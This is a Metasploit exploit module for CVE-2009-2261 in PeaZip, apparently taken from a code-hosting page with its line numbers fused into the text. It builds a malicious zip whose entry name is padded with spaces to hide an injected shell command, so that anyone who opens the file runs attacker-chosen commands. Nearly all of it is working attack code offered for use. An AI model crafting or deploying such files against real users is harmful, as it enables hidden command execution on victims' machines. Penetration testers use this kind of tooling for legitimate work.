Path: blob/master/modules/exploits/multi/fileformat/peazip_command_injection.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'PeaZip Zip Processing Command Injection',17'Description' => %q{18This module exploits a command injection vulnerability in PeaZip. All19versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with20version 2.6.1 on Windows.2122In order for the command to be executed, an attacker must convince someone to23open a specially crafted zip file with PeaZip, and access the specially file via24double-clicking it. By doing so, an attacker can execute arbitrary commands25as the victim user.26},27'License' => MSF_LICENSE,28'Author' => [29'pyrokinesis', # Of Nine:Situations:Group30'jduck'31],32'References' => [33[ 'CVE', '2009-2261' ],34[ 'OSVDB', '54966' ],35[ 'URL', 'http://peazip.sourceforge.net/' ],36[ 'EDB', '8881' ]37],38'Platform' => %w{linux unix win},39'Arch' => ARCH_CMD,40'Payload' => {41'Space' => 1024,42'BadChars' => '',43'DisableNops' => true,44'Compat' =>45{46'PayloadType' => 'cmd',47'RequiredCmd' => 'generic perl telnet',48}49},50'Targets' => [51['Automatic', {}],52],53'DisclosureDate' => '2009-06-05',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),66]67)68end6970def exploit71# NOTE: using a command line containing / or \ will result in the command72# being easily visible to the victim73cmd = datastore['CMD']7475fname = "README.TXT"76rest = "\"|#{cmd}|.txt"77fname << " " * (255 - fname.length - rest.length)78fname << rest7980content = rand_text_alphanumeric(rand(1024))8182zip = Rex::Zip::Archive.new83zip.add_file(fname, content)8485# Create the file86print_status("Creating '#{datastore['FILENAME']}' file...")8788file_create(zip.pack)89end90end919293